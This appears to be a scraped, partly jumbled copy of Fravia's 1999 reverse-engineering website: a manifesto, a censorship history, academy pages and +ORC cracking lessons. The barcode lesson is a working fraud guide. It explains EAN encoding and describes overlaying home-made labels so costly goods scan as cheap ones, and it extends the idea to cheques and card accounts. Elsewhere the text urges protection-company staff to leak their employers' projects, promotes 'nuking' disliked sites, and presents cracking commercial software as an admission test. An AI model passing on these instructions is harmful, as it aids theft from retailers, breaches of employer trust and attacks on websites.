Professional Documents
Culture Documents
Software
reverse
engineering
and web
survival
arguments
Software protection
techniques and tools
~
Anonymity on the
Web: stalking, enemy
F pages of
techniques and tools
~
How to search the
web: combing, klebing
A engineering frozen
October
1999
and web-spiders
trapping;
anti-Micro$oft and
anti-Netscape scripts
V Version
November
1999
and tricks; tools for
software reverse
engineering;
I cgi-cracking; user
self-defense; corporate
survival counter
A measures; home-pages
capering and password
cracking techniques;
commercial smut sites
busting; Java applets
reversing; vxd
Fravia's Nofrill monitoring;
Web design
('98,'99) steganographical and
cryptological reversing
matters; Javascript
based site protection
and deprotection
techniques; email
patterns reversing
On the Web
since 1995!
If you have landed here for the first time, or if you are interested in the history of this site,
read a word to the confused ones before proceeding
will help you gain knowledge that you will not find elsewhere. Please wander slowly inside: sip a good
cocktail, take your time and explore at a leisurely pace. You'll find lessons on how to reverse engineer
windows, dos, linux and palmtop programs, both in order to protect or to deprotect them (fairly easy,
once you learn it); on how to search the Web using advanced techniques like 'combing' and 'klebing' (not
so easy); on how to gain real information (pretty difficult), on how to track pseudoanonymous people on
the web (fairly difficult), on how to protect your anonymity browsing the Web (quite difficult), on how
to reverse the reality around you (very difficult), on how to destroy web sites you do not like (easy...
given some conditions), on how to use (and detect) steganographical encryptions, on how to reverse or
implement javascript based site protections, on how to annoy spammers, reverse web-agents, trap bots,
write your own spiders and much more. I hope you'll enjoy this visit. Your critics and suggestions are
welcome.
fravia+
__Disclaimer of liability__
I do disclaim thee, Oh Liability!
All information on my site is published for educational purposes only. You may reverse engineer, debug
or crack only applications or programs you have legitimately bought, and only for your personal use.
You may bomb or nuke only sites and pages that are really lame and/or pathetically commercial-oriented
:-)
Special disclaimer
About the part of my site dealing with reversing protection schemes
Please note that I have always been a very sensible person: if any programmer with a legitimate interest
really thinks that an essay published on my site should be removed and put on a non-public part of the
fortress, I usually will comply.
Yet this will hurt the protectors, not the warez-crackers out there: "secrecy" in an Internet polluted with
warez and serial numbers (that I despise) does NOT make any sense: I believe -on the contrary-
maximum transparency to be a very important WEAPON for all software developers and for all
protectors and reversers alike. My site is a forum where anyone can learn HOW software "ticks", WHY
commercial protections do not work and why there are much better things to do with our knowledge than
releasing tons of crackz and warez to the lamers of the world. In fact I believe that you will learn here -if
anything- how to protect better your programs.
I advice those of you still using Netscape (or, even worse, M$IE) to download and use from now on
Opera, an extremely highly configurable, powerful, easy to reverse and lean (less than a million bytes!)
browser that will let you forget once for all both overbloated browsersaurii and their terrible bugs. Of
course you are allowed to use Netscape on my site (if you do, take care: the best version is -by far-
good old and solide version 3, not the overbloated and buggy versions 4, 4,5 & 5).
Now, please, try to understand: you may NOT use Micro$oft's puke on my site! (Watch it! Some pages
just " play" hostility, some are seriously M$IE hostile, so: don't complain you have not been warned! :-)
I don't use public counters nor public trackers any more, since I can easily track all my visitors wherever
they go (see here a detailed explanation). I'll just keep my own counter above (started in July 1999 and
not working on the mirrors) and the Websitestory counter below, both count only the daily visitors with
"load images" settings who wait patiently at the main entrance of the fortress until the Websitestory
server has planted its cookie (i.e. mostly new visitors). Since I'll never commercialize my site, this is
cool, if a little snob: lotta real visitors (more than 80000 "hits" daily actually, according to my fortress
server's loggings), yet low profile!
This site guaranteed 100% frames and advertisement free, made with full-recyclable electrons, respects
all directives of the European Union regarding environment, please don't litter.
Anyone wishing to use the contents of my site for profit purposes should contact the Editor.
Ignore this link. It connects to a bunch of phony E-mail addresses to frustrate address-gathering spiders
from the stupid spammers... add such a page to your main page too, and make things more difficult for
the silly commercial oriented idiots. I have also prepared a small page of advices against commercial
spammers.
~
[Now reader] [Why I publish] [+ORC] [Knowledge is now free]
[Beyond software reverse engineering] [Censorship attempts] [Censors deserve only contempt]
[Syn-attacks against my site]
Now reader
'Now reader,' said fravia+, 'look upon the
programming reality! Breathe the free air again!'
From the porch upon the top of the high site they
could see beyond the stream the green fields of
assembly fading into distant grey. Curtains of
wind-blown rain were slanting down. The sky above
and to the west was still dark with thunder, and
lightning far away flicklered among the tops of hidden
hills. But the wind had shifted to the north, and
already the storm that had come out of the East was
receding, rolling away southward to the sea.
Suddendly through a rent in the clouds behind them a
shaft of sun stabbed down. the falling showers
gleamed like silver, and far away the river glittered
like a shimmering glass.
'It is not so dark here,' said the reader.
'No,' said fravia+. 'Nor does the windows OS lie so
heavily on your shoulders as some would have you
think. Cast aside your "visual" frills!'
From the reader's hand the heavy M$-books fell
clattering on the stones. He drew himself up, slowly,
as a man that is stiff from long bending over some
dull toil. Now tall and straight he stood, and his eyes
were blue as he looked into the opening sky.
'Dark have been my dreams of late,' he said, 'but I feel
as one new-awakened. I would now that you had
come before, fravia+. For I fear that already you have
come too late, only to see the last days of real
Why I publish
I decided to publish my "page of reverse engineering" because the inner working of computer programs
(and any other thing) has always fascinated me.
Software programs (software operating systems too, for that matter) are being more and more "hidden"
from the user (as the growing appearance of "Wizards" and automated installation and de-installation
procedures attest) and are more and more using "undocumented" functions and performing "clandestine"
activities on user machines.
Such "covert" activities encompass among other things:
- the unashamed spying of the installed software (eventually denouncing it (secretly) in the background
during a web connection): Many recent Micro$oft products.
- the gathering (secretly) of information about the user and his choices and preferences delivering it to
commercial oriented bastards for spamming ads or unsolicited email (web-scripts, web-search engines
and some commercial software)
- the modification (without asking of course) of many user-parameters of the operating system, the
deletion or modification or "updating" of user files, the fiddling with the physical locations of the user
harddisk and so on (many protection schemes and many installation procedures).
It has always astonished me that so few even cared to check such developments, and that virtually
nobody fought against them or tried to counter (or retaliate). I conduced a very lonely fight on my own,
which started long ago on a Sinclair spectrum and will probably never finish :-(
There is another reason for my activity: The Web, as you will already have realized, is an Ocean of
knowledge... about two centimeters deep. I wanted to show that you can create a non-commercial site
that spreads for free REAL knowledge, and I believe that I made my point. There is not a single ad on
my site, and I'm loosing money with all this, not making it. Yet at the time of writing there are more than
30000 hits every day on my pages... which gives a spreading of much more than 100000 new readers
every month. More than enough.
+ORC
As soon as I saw the first lessons by +ORC, back in the winter of 1995, I understood that a new dawn
was possible (at least among crackers :-) if enough of us would have understood and carried his tutorial
and his simple (but incredibly deep) message: "knowledge is now free at last, everything should be free
from now on, enjoy knowledge and life and work for everybody else". I was also struck from the
affinities between my own ideas and +ORC's philosophy.
+ORC's approach, in choosing "cracking" (the busting of software protections) as channel through which
his ideas could be at least partly diffused was simply genial: There you had on one side a huge
community of very clever and talented young people, with an incredible thirst for knowledge, which
could NEVER be satisfied by a society mainly intent in transforming them in silly consumer guinea pigs
and there you had on the other side our Web, growing with an incredible momentum: the perfect media
for free "forbidden" knowledge spreading. An high explosive cocktail indeed!
The developments of the last years with the incredible growth of the "+ORC's students" section, confirms
that +ORC has indeed thrown a lot of seeds in the wind! :-)
His tutorial is now (May 1999) in part obsolete (yet it remains a MUST reading for all people that learn
reversing skills). The incredibly rash development of the +HCU has given results that went beyond any
possible forecast. The +HCU is certainly not "a group of crackers like many other". In fact it is a loose
association of more than one hundred reverse engineers, protectors, cryptographical wizards and crackers
(lone wolfs or in one of the many existing groups). The +HCU publishes each year (in April) a "strainer"
for admission to the subsequent year courses (this year's strainer is still 'in the making', though.
The +HCU is nowadays, through his many projects and the more than 400 essays, a real free "Academy"
of software reverse engineering (the "open university" of software reverse engineering) whose
documents are eagerly awaited (and read) by many "professional" reverse engineer around the world.
Judging from the postings I have received there is more and more "official" recognition of our work, an
activity that a couple of years ago could still be dismissed as simple protection cracking.
+ORC has partly retired. He's apparently gone hyeroglyphologist and dwells at the moment in Egypt
somewhere, cracking ancient legends. On 29 October 1997 he wrote a letter about the organization of the
+HCU and in december charged +Alistair and +Aesculapius to take over this year courses (and the
preparation of this year strainer for 1999) with a vague promise to 'take over' the HCU teaching in
September 1998... but he never did :-( I would really like to get at least his two promised 'zen cracking'
lessons :-)
Browsers are not the only evidence of the fact that "the storm is receding": as anyone that has done 'the
great step' knows, noone in his right mind would ever think to go back to the puke called windows after
having used Linux (else than for cracking its sofware, that is :-)
Software reverse engineering is anyway only a part of the more complex task of defending yourself
against manipulations and actions that you are not even supposed to see or understand. You'll quickly
understand what this means if you have a look at my relevant pages, like the one on anonymity, or the
one (that I love) on reality cracking. In fact I believe that the "reality cracking" section will acquire a
more and more important role in the future years, and not only (I hope) on my site. The point, you see, is
that cracking, far from being a shady semi-legal activity, is one of the MOST IMPORTANT professions
of the world. A cracker (in this broad sense) is a teacher and a philosoph, an acute observer, a talented
wise wizard in our oligarchic, democracy-faking world where hidden meanings and continuous
manipulation are the norm. Crackers should teach your sons what really happens in a supermarket, why
there are so many lotteries, why you are compelled to drink mineral water and what they are doing to
your mind every time you watch some apparently innocent publicity ad. And by all means crackers
should teach your sons how to search the web, how to avoid leaving tracks and, last but not least where
to find (some snippets of) real information about this ugly society that surrounds us.
Censorship attempts
My pages have always spread knowledge for free and have been therefore heavily censored. They have
been first censored by Compu$erve (& Micro$oft) on 21/08/1996.
My following main page, at http://www.geocities.com/Athens/5513, (one of the "top 1000" pages
according to Webcounter's stat) had not much more luck... it was censored as well -by Geocities- after 18
months, on 16 April 1997.
I immediately set up two mirror pages, a new one at geocities and another one at mygale, hoping,
optimistically, that the European free pages providers would have been far less bigots and commercially
oriented than the American ones. Alas this was not the case, and the "mygaliens" have censored my site
on 23 May 1997 as well, as soon as it had mounted among their "top ten" pages (which was very quick,
since the "audience" of my site doubles every two months :-). Geocities censured my new site as well the
same day, probably in the hope to "squeeze" me out of the web with a 'coordinated' censorship
manoeuver... poor sod censors, they still do not seem to understand the "alfa and omega" of Internet!
From that moment I decided anyway to seek asylum among more solid providers, and I continue to thank
Mailman and mighty Sharp for having hosted for a long time my "fortress" page at
http://207.30.50.126/fravia/fravia.htm (the "tana")
Unfortunately even this relatively solid server began being attacked for some of my pages (the ones
about CGI-script security, i.e. how to nuke a site you don't like, on the web, given some conditions). In
fact many servers are OWNED by people running scam commercial smut sites, and they can allow any
abominable smut site BUT NOT a site that teaches you how to nuke them.
In November 1997 the situation in my old main page (which still work well thanks Sharp) was
deteriorating. The hosting server decided to put a 'default' page catcher for its smut search engines that
snapped every time anyone on the server (even people not remotely connected with those sites) found a
broken link. An abomination against which Sharp could not do much, which has forced me to crash open
my fortress at http://fravia.org on the 25th of November 1997, a month before its scheduled openings
(you should ALWAYS keep a complete 'sleeping' site up your arms just in case, btw :-)
Short afterward Sharp's part of the server was destroyed by the bigot american SPA association (note that
they smashed only 'intelligent' cracker pages and didn't touch the warez sites on the same server... well,
no wonder, they are the same lackeys that condoned the blatant piracy of Micro$oft in the Stacker
software case...)
For all these reasons I'm now very happy to have a new powerful FORTRESS thank to a gracious
donation, and without any ugly sponsoring. I must say that the people at Webcaf are doing a really
GREAT job so if anyone should ever come to the thought of sending me money: I don't need money:
send it to Netcaf instead :-) Anyway I hope that this relative 'tranquility' from censorship will allow me
to deliver a less chaotic fravia's page of reverse engineering to my readers :-)
This continued censorship ("pagewaxing") should not surprise you: there's a growing hostility, on the
web, against knowledge that's given away for free: they would like a commercial, mercantile world of
stupid publicity ads and irrelevant frills, where the slaves and guinea pigs of their useless advertisements
live and work only in order to consume... that's the real reason they despise and hate anything that moves
in the opposite direction... but we'll win, because that what we do, we do for pleasure, not for money :-)
I'm proud of the censorship attempts I had to endure: Geocities is an American "puritane" enterprise,
which seems to have more or less the same civic courage as an eggplant; Mygale is (was?) the pathetic
attempt of a young student in Paris to get himself a job and to "establish a French presence on the Web",
as if nationality or language would still matter in our new world; Compu$erve is a doomed dinosaur of
the pre-Internet age, and commercial smut site owners should IMHO be hanged at their own servers'
towers using their mouse's cable.
Most 'space providers' have ONE common characteristic: they want to make money, and they want to
make money in the only way they know of: through awful publicity ads, selling gadgets that nobody in
his right mind would ever consider to buy and offering -for money- special "services" that in most cases
you could get for free elsewhere... a typical pathetical case, on the web, being the services that 'register'
you (for payment) on the 'major' search engines. Ah!
Moreover in order to gain money these lusers believe (wrongly) that they should "conform" to the
low-profile trend of self-censorship that pervades our supine society.
Censorship on the web hydes its face (geocities: 'no links to craacking tools are allowed'), yet its real
visage is easily seen by any reverser: look at cracking itself for instance: there seem to be no real
problems for 'serial number' repositories or 'warez' depots, where you can find STOLEN programs for
free even BEFORE they are sold in the shops (search for "warez", "gamez" and "appz" on the search
engines... you'll find a million of them)... but there are on the contrary continued problems for people that
TEACH you for free how those same search engines and those same programs really work.
Yet you have lost, stupid censors. The thronging masses of guinea pigs are slowly disappearing. We are
the ones that are growing a generation of computer users that will KNOW (pretty well :-) what's going on
inside any program, and that will be able to change them as far as they fancy, all things that Micro$oft
and others DO NOT LIKE AT ALL... they would like everybody to produce "toy" applications with
stupid overbloated and ineffective languages, leaving them the task (and the rewards) to program "real"
applications... no, no, NO! That's incidentally also the reason WHY you should damage Micro$oft's
interests wherever you can: this damaging is a good nice thing "per se", seen what they have done to us
(you have to wait now up to 5 minutes to fire on a Pentium II a wordprocessor that's far inferior to the
one you would have fired in 5 seconds with old dos on a 8086, for instance)
Each one of us will throw, for free, his own sand pebble inside the awful wheels
of the commercial society we all live in... that's more than enough to grind it to its
well deserved death.
attacks were stardet from the West coast of the States (where the attackers have been documented using 8
machines from a M$-stream at one given time :-) some visitors from that area may experience some
problems (basically heavy automated trackwork :-) when accessing from West coast USA backbones (a
"backbone" is the high-traffic-density connectivity portion of any communications network)
I'll publish an essay on the debunking of these attackers that should be of some interest for the whole
reversing community... in fact as it appears, a part of the attackers are nothing else that commercial
oriented 'mainstream' crackers... come to think of that, I should actually thank these clowns, since they
gave me the opportunity to learn quite a lot of tricks I did not know of.
And if you want to READ my answer instead (will vary every time) then click here, eheh (courtesy of
Scott Pakin)
Censorships attempt and useless attacks like these do not mean nothing for me. Since I'm not making any
money with my sites, I'm not loosing any either.
The nature of our web is such that knowledge will always continue to flow through it, notwithstanding
advertisement, commercial interests, censoring agencies and all "special governmental bodies" attempts
:-)
Fravia fluctuat nec mergitur, eheh
+ORC charged me to publish useful material for the +HCU and I believe that nothing proves the
effectiveness of +ORC's teaching more than his students findings
And crackers are NOTHING else than the other face of protectors, of course. And the Net, despise all
censorship attempts, still gives us reverse engineers PLENTY of possibilities of joining knowledge, data
and forces FOR FREE! Our work is studied (and often ameliorated) by others! So crackers grow ("evil"
lone wolf crackers and "good" teaching +crackers... that's just a matter of individual taste and leanings :-)
protectors grow ('greedy' protectors and "good" teaching +protectors... that's just a matter of individual
taste and leanings :-) and, -at times- even mighty "tools-makers" and "reversing wizards" appear.
Anyway my page is only ONE of the many sites on the web that are giving out knowledge... and this is
VERY important! Information spreading (coupled with a certain degree of anonimity :-) is ALREADY
cracking the fundaments of this awful -TV drooling zombies and commercial idiots- society...
Look: as soon as people can do what they like... they do it FOR FREE, and for everybody else to enjoy...
they do not do it for money... funny isn't it? But true: Look at the web! Everything is for free! Millions of
hours of work by millions of people that DO NOT KNOW each other... all this developed into pages
where knowledge is given away for knowledge's sake! It's incredible, but true... and all commercial
attempts have (until now, let's cross finger) failed miserably because of this enormous mass of people
that seems to have come from another planet!
People that do not care for money? The slave masters cannot even understand what's going on under their
suspicious noses... What? People giving something away for free? What's that? What's wrong with them?
Cant be true!
Poor sods! For free we give, yet not without some GREAT advantages for every one who spreads
knowledge and works on it...
you see that on this very site of mine! The contributes of all others ARE advantages for each one of
you... and that's exactly what the commercial minds hate... That's why our enemies keep trying to grind
all Internet wheels, in order to get a "dependent" Internet, with some Micro$oft "TV-channel-MSN"
awful systems and all other "push" attempts (where people will get only what the slave masters have
chosen), that's the reason of much censorship and that's the reason behind all other PASSIVIZING
Internet efforts they are working on... our enemies do not like at all people CHOOSING what they want,
DECIDING ALONE what they would like to do, able to MODIFY (or refuse or rebuke) the technology
they use everyday... our enemies need CONSUM SLAVES in order to make money... people that think
are dangerous... they could even come one day to the dreadful idea to ACT POLITICALLY and put an
end to an absurd society where money, not knowledge, means power (why?), where millions of human
beings are closed in urban ghettos to pray on each other (and eliminate each other physically) instead of
being helped to develop themselves. A ugly society where men and women are kept running inside
guinea-pig wheels, idiotized by useless TV-channels that are OWNED by their masters. Our planet has
been transformed in an awful place, where you are compelled to spend your whole life in order to "earn"
it... where poetry and philosophy are judged irrelevant and only money (and bad taste) rule.
The "slave masters" cannot therefore understand us, they understand only the old (scary) pre-Internet
world, a dim grey world of people "hiding" knowledge in order of taking advantage of it... instead of
spreading it for free to anybody who cares ...
BAD LUCK! Poor stupid slave masters... You DO NOT OWN INTERNET! And therefore you have
already lost! LOOK HERE! :-) Look at the intrinsic and evident "development" of the essays! Nothing
on the Web demonstrates better than this the MIGHT of common people joining forces WITHOUT
repulsive "sponsors", dirty "lobbies" or useless publicity ads! No money at all... yet HUNDRED of
individual like us, offering away THOUSANDS of hours of (difficult) work to people that may not even
care to thank... we are offering a knowledge, as you will be able to see by yourself, that you will NOT
find elsewhere, no matter how much you would pay for it... therefore, see... "free" beats "commercial" in
spades!
(Besides, the web was built in order to resist ATOMIC BOMBING, it will easily resist any
ADVERTISEMENT BOMBING as well :-)
I like it A LOT!
A rare collector
item
~
The collectors' sector grew more
frenzied in the run up after the
appearence of a rare exemplar of
fravia's famous "cabezon" (main
cover), composed in march 1997
by the Web-author himself. The
lovely masterpiece, reproduced on
the left, has been sold for $ 3.6
billions to Sotheby, a venerable
British auctioneer.
The immediate and expressive
approach, coupled with fantasy,
inventiveness and wealth of
culture is an integral part of the
spirit of those times.
homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
"Copy-protection schemes": elegant devices for training the next generation of assembly-language
programmers
FRAVIA'S CROSSING
My radical plans
Software cracking
No more 'targeted' software cracking articles or
essays, i.e., nothing more that could
economically damage a given programmer. The
'software cracking' (historical) part of my
'frozen' old site will still be there, unless
someone should legitimately ask me to remove
any specific older essay. In that case I will most
probably comply and remove it.
From now on I'll publish only 'target unrelated',
'concealed activities' and 'older protections'
software cracking articles.
Reality cracking
Will be intensified.
How to search
Will be intensified.
Anonymity matters
Will be intensified.
The development of our techniques, approaches and global understanding has been huge. We don't need any more to crack
software protections ourself, it's time we move over to real software reversing... we need the software protection cracking
(as we always did) only as a 'lure' to get young talented people on a "reversing path", a road that will transform them into
good programmers, intelligent users, clever minds that will never again be obfuscated by frills and useless trends, real
humans that will work in order to achieve whatever their own (and not somebody else's) wishes are.
Ok, ok, ok: These words -I know- sound kinda funny: "so we'll transform people in order to avoid that they get
transformed" sounds quite scary... contradictory to say the least. Yet people that learn how to reverse (software schemes
and rhetorical patterns as well) will be able to easily reverse this very writing, and act consequently (note that this holds
true whichever reversing path they'll later take, white, red or black), so they'll be much more "safe" against all kind of
tricks -once for all- and that's exactly what I believe is important.
Besides Master +ORC himself wrote a long time ago the following: coz people do not want to learn to be free, and to free
them we have sadly to "circumvent" them with more or less the same techniques that our enemies use to enslave them :=).
And I disagree: we may recur to using 'enroll techniques' yet we have to use, IMO, different ones: our techniques must be
transparent and proudly show their 'inner working'. They'll be nevertheless as strong as our enemy ones (or even stronger
:-) yet they'll always be "on the side of the light" and -an added bonus- those that want to enslave other people will never
be able to use them (knwoledge and transparence are like sun or garlic against all sort of vampires, commercial oriented
bastards cannot even touch them without getting blisters everywhere :-)
I will not comment these contributions. It is not necessary, because I believe that the correct path will become clear "all by
itself", as it always happens when people work together and contribute. Just read the ones I have published (only if you'r
interested of course) and I'm sure you'll understand what I mean. As usual on this web of ours, light, truth, insights and
powerful solution proposals come from cooperation, friendship, and from sound contributions offered by people you have
never met in your life...
OK friends, thanks a lot once more, I think it's enough... now watch my site and judge: all readers will see the result of
my considerations (based on the above, of course) during the next months
there's now also a message board for all people hanging around at fravia's
While attending the Olympic games, Leon, prince of Phlius, asked Pythagoras how he would describe himself.
Pythagoras replied, 'I am a philosopher', but Leon had never heard that word before and asked him to explain.
"Life, prince Leon, may well be compared with these public games for in the vast
crowd assembled here some are attracted by the acquisition of gain, others are
led on by the hopes and ambitions of fame and glory. But among them there are a
few who have come to observe and to understand all that passes here."
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved
n 4
Academy of reverse engineering: ESSAYS 301-400
(Archive: 10 Jun 1998 ~ today)
[Go below to the most recent essays]
only 'real teaching' essays please, the more "reversing oriented", the better... see my
"recent thoughts".
Total: 171 reverse engineers 387 essays
Oldies, new protection ideas, added functionalities, our tools and Linux essays are most
welcome
We are beginning to 'clean' the oldest parts of the +HCU database and need your help
(c) Fravia+ , +ReZiDeNt, Krugman, 1995, 1996, 1997, 1998. All rights reversed
How to use alien servers anonymously without being neither noticed nor logged
(well, that's the 'unofficial' title I myself gave to this course after having read +Alistair letter :-)
Below are the letter that +Alistair sent to +Zer0 and info on how to participate
Here are Fravia's thoughts and proposals about the 1998 +HCU
There was an high level of guessing, among some of us, about the beginning of this year +HCU. +ORC
did not seem much 'in the mood'. Yet it looks like things are starting now, and the irony is that our
'cracking' university begins (judging by +Alistair's starting mysterious messages on our maillists) with
some techniques and teachings that seem much more 'hacking' oriented. Anyway this is probably an
appropriate starting, since it happens in the same days Micro$oft has bought Hotmail.
Yet I would like to propose to all participants to avoid just "sitting in the classroom" and "listening to the
teachers". Lest start together our own 'projects'. The one I would like to propose, if others will agree
with me, is to begin developing (i.e. programming) some useful tools.
So I would propose as "project" for 1998 to develop "A basic interceptor": say, a simple (windows) TSR
for logging ALL calls to a specific API from a target program and 'his' dlls or other 'floating' parts.
Such tools exist already, of course. Our first task should be to list the existing ones and see if we can
'tweak' one of them to our purposes. But I'm already running too much ahead. I know that Mammon_
would enjoy to work on such a project. What about the other classmates?
Awaiting your contribution: mine is only an example of a possible project, if each one of you will
propose a project that he would like to develop during this year courses, we could then choose together
the three-four most interesting ones, and work -together- to their success.
This is our university, let's exploit fully the might of our joint forces, my friends: together we will grow
and understand.
(fravia+, 8 January 1998, awaiting your comments and suggestions on this)
In order to partecipate:
(restricted admission :-(
All HCUkers that have passed the strainer published by +ORC last April should
email as soon as possible +Zer0 and ask him access onto Sergei's list. We are
trying to get permission to add some other crackers to the 98 +HCU, they will be
contacted directly as soon as a couple of reserves will have been cleared.
Anyway already now ALL HCUKERS that have been listed on the solution page
(and that have not already done it, duh) can and should email +Zer0 in order to
get access to Sergei's list!
And here is the letter that +Alistair sent to +Zer0 on 6 January 1998
Gee! Alistair sends
i have taken +ORC place -can't believe it :)
You will have to call me *master* -feels nice ;)
Oldred is far far away ,lost in his nutty projects.
He asked me to man the ship for a couple of months
and to give you some tricks or lessons or whatever
i can ,like a school of sort: he's worried becose
gates has bought hotmail ,do not worry ,i told
him ,and he wanted me to explain things ,even
if i don't have the free time he has.
Gee! pupils
Alistair out
Well, we'll soon see, I hope, what all this means :-)
[BARCODES]
First of all, let me stress the importance of cracking in
our everyday life. Cracking it's not just about software, it's
about information, about all patterns of life. To crack is to
refuse to be controlled and used by others, to crack is to be
free. But you must also be yourself free from petty conventions
in order to crack properly.
You must learn to discerne cracking possibilities all around
yourself, and believe me, the development of this ghastly society
brings every day new codes, protections and concealing
mechanismes.
All around us grows a world of codes and secret and not so
secret patterns. Codes that are at times so familiar and common
that we do not even notice them any more... and yet they are
there to fool us, and yet they offer marvellous cracking
possibilities.
[BARCODE HISTORY]
Let's begin with a little history. Universal Product Code
(UPC) was adopted for commercial use by the grocery industry in
the USA. Among the advantages were a rapid, accurate and reliable
way of entering stock information into a computer and the
possibility to sack a lot of workers and to do more profit. The
early success led to the development of the European Article
Numbering System (EAN), a symbology similar to UPC, that is
widely used in Europe and in the rest of the World. I'll teach
you to crack this one, since I do not -fortunately- live in the
States. Keep in mind, anyway, that there are different barcode
symbologies, each with its own particular pattern of bars. The
UPC/EAN code used on retail products is an all-numeric code; so
is the Interleaved 2 of 5 Code. Code 39 includes upper case
letters, digits, and a few symbols. Code 128 includes every
printable and unprintable ASCII character code. The most new one
is a 2-D code. These are special rectangular codes, called
stacked barcodes or matrix codes. They can store considerably
more information than a standard barcode. They require special
readers which cost more than a standard scanner. The practical
limit for a standard barcode depends on a number of factors, but
20 to 25 characters is an approximate maximum. For applications
that need more data, matrix codes are used. For example, the next
time you receive a package from United Parcel Service look for
a small square label with a pattern of dots and a small bullseye
in the centre. This is a MaxiCode label, and it is used by UPS
for automatic destination sortition.
The manufacturer's ID number on the barcode uniquely
identifies products. These numbers are managed by the Uniform
Code Council in Dayton, Ohio for the States and Canada and by the
EAN authority (Internationale Article Numbering Association) in
Bruxelles, for Europe and the rest of the World. The
manufacturer's ID number accounts for some digits of the code,
which leaves other digits to be assigned in any way the producer
wants. He provides retail outlets with a list of his products and
their assigned codes so that they can be entered in the cash
register system. Many codes are NOT on the products and are added
by the supermarkets on the fly, using an internal code schema
that may be non standard. Now it's enough... let's crack.
BARCODES are the only thing an automated casher needs to see
on a product to calculate its price and automatically catalogate
the sold merchandise... imagine (just imagine it :=) coz it would
be extremely illegal to act in this way) somebody would fasten
an adhesive home-made codebar label direct on the top of the
supermarket/mall/retail store label, say on a bottle of Pomerol
(that's a very good but unfortunately very expensive french
wine).
The new label would mean for the casher something like
"cheap wine from Bordeaux, France, cost so and so, everything
it's OK, do not worry"... do you think that anybody would come
to the idea that there is something wrong with the label, with
the bottle or with you? I have been codebaring for years and had
only once a problem, coz my printer was running out of ink and
the scanner in the supermarket could not read it... so what? Act
But good +ORC will now explain you everything you need to crack:
On the barcode there are two "borders", left and right, and a
"middle" longer line. These three lines are longer than the
others and are used to "regulate" the scanner to whatever
dimension has been used for the barcode.
Borders: 101
Centre: 01010
Now watch some labels yourself... see the difference between the
numbers left and the numbers right? The first "half" of the
barcode is coded using sets A and B, the second "half" using set
C. As if that were not enough, A and B are used inside the first
"half" in a combination that varies and depends from value #0,
following 10 different patterns:
#1 #2 #3 #4 #5 #6
0 A A A A A A
1 A A B A B B
2 A A B B A B
3 A A B B B A
4 A B A A B B
5 A B B A A B
6 A B B B A A
7 A B A B A B
8 A B A B B A
9 A B B A B A
"Ah! Stupid buyer will never understand why the same values gives
different bars! Nothing is as reliable as barcodes!" :=)
the correct code for that item, but on your own label. If it goes
through your program works good, if not, nobody will ever be able
to harm you. Anyway it never happens anything, never: the bar
code reading equipments have great tolerance, coz the scanners
must be able to recognize barcodes that have been printed on many
different medias. You should choose labels similar to the ones
effectively used only in order not to arise human suspects, coz
for all the scanner itself cares, your label could be pink with
green stripes and with orange hand-written, numbers. Mind you,
we are still just academically imagining hypothetical situations,
coz it would be extremely illegal to act in such an inconsiderate
manner.
CRACKING POWER! It's true for barcodes, for Telecom bills,
for Compuserve accounts, for Amexco cards, for banking cheques
(do you know what MICR is? Magnetic Ink Character Recognition...
the stylized little printing on the lower left of new cheques...
there is a whole cracking school working on it), for registration
numbers... you name it, they develope it, we crack it...
Begin with barcodes: it's easy, nice and pretty useful! Live
in opulence, with the dignity and affluence that should always
distinguish real crackers. Besides... you should see the
assortment of 'Pomerols' in my "Cave-a-vin" :=)
[INSTANT ACCESS]
The (c) Instant access routines are a commercial protection
scheme used to "unlock" complete commercial applications that
have been encrypted on CD-
ROMs which are distributed (mostly) through reviews.
This is an ideal cracking target: it's commercial software,
complete, uncrippled and of (relatively) prominent quality, that
you can get in tons for the price of a coke. Obviously this kind
of protection represents an ideal subject for our lessons. This
fairly intricate protection scheme has not yet been cracked by
anybody that I am aware of, anyway not publicly, therefore it's
an ideal candidate for a "strainer" to my university. I'll teach
you here how to crack it in three lessons, C.1, C.2 and C.3. I warn
you... it's a difficult cracking session, and this protection
represents quite an intellectual challenge. But if you are
seriously interested in our trade you will enjoy these lessons
more than anything else.
This cracking is intended as an "assignment" for my +HCU
"cracking university": you'll find inside lessons C.1 and C.2 a
relatively deep "introduction" to Instant access cracking. This
will teach you a lot anyway, and spare you hours of useless
roaming around, bringing you straight to the cracking point. But
I'll release the third part of this session, with the complete
solution (lesson C.3) on the Web only in october 1996, not a day
before. All the students that would like to apply to the Higher
Cracking University, opening on the web 01/01/1997, should work
in July, August and September (three months is more than enough
time) on this assignment. They should crack completely the
instant access scheme and send me their solutions, with a good
documentation of their cracking sessions, before 30/09/1996
(WATCH IT! You can crack this scheme in -at least- three
different paths, be careful and choose the *best* one. WATCH IT!
Some of the informations) in lesson C.1 and C.2 are slightly incorrect:
check it!).
There are four possibilities:
1) The candidate has not found the crack or his solution is
not enough documented or not enough viable... the candidate
is therefore not (yet) crack-able, he will not be admitted
to the +HCU 1997 curses, better luck in 1998;
2) The cracking solution proposed by the candidate is not as
good as mine (you'll judge for yourself in october) but it
works nevertheless... he'll be admitted at the 1997
courses;
3) The cracking solution of the candidate is more or less
equal to mine, he'll be admitted, personally monitored, and
he'll get all the material he needs to crack on higher
paths;
4) The cracking solution of the candidate is better than mine,
he'll be admitted, get all the material he wishes and asked
to teach us as well as study with us: "homines, dum docent,
discunt".
case with (c) Instant Access. Face it: it's a little boring, but
important that you learn how to defeat intricate protection
routines (you'll meet them often in the next years) and I believe
that the following example will give you a "feeling" for the
right cracking approach.
In this case we must not only "crack" this protection scheme
but also study it thoroughly in order to achieve our blessed
aims. This is a very good exercise: reverse disassembling will
teach you a lot of little tricks that you'll be able to use in
your other future cracking sessions.
Instant access (c) is a exceptionally widespread protection
scheme, and it should be relatively easy for you to gather some
encrypted software that has been protected with this method...
*DO IT QUICKLY!!* After the Web publishing of this lessons (I am
sending C.1 to 8 pages and 4 usenet groups on 25/06/1996) this
protection is obviously as dead as a Dodo. The "Accessors" guys
will have to conceive something smarter if they want to keep
selling "protections" to the lamer producers of "big" software.
BTW, if you are reading this and are working for some
commercial "protection" company, consider the possibility to
double cross your masters! Deliver me anonymously all the future
projects you are working on! That will amuse me, speed up the
advent of a true altruistic society and earn you the respect of
the better part of humanity.
As I said, many "huge" application are still protected with
this "Instant access" system. I have personally bought at least
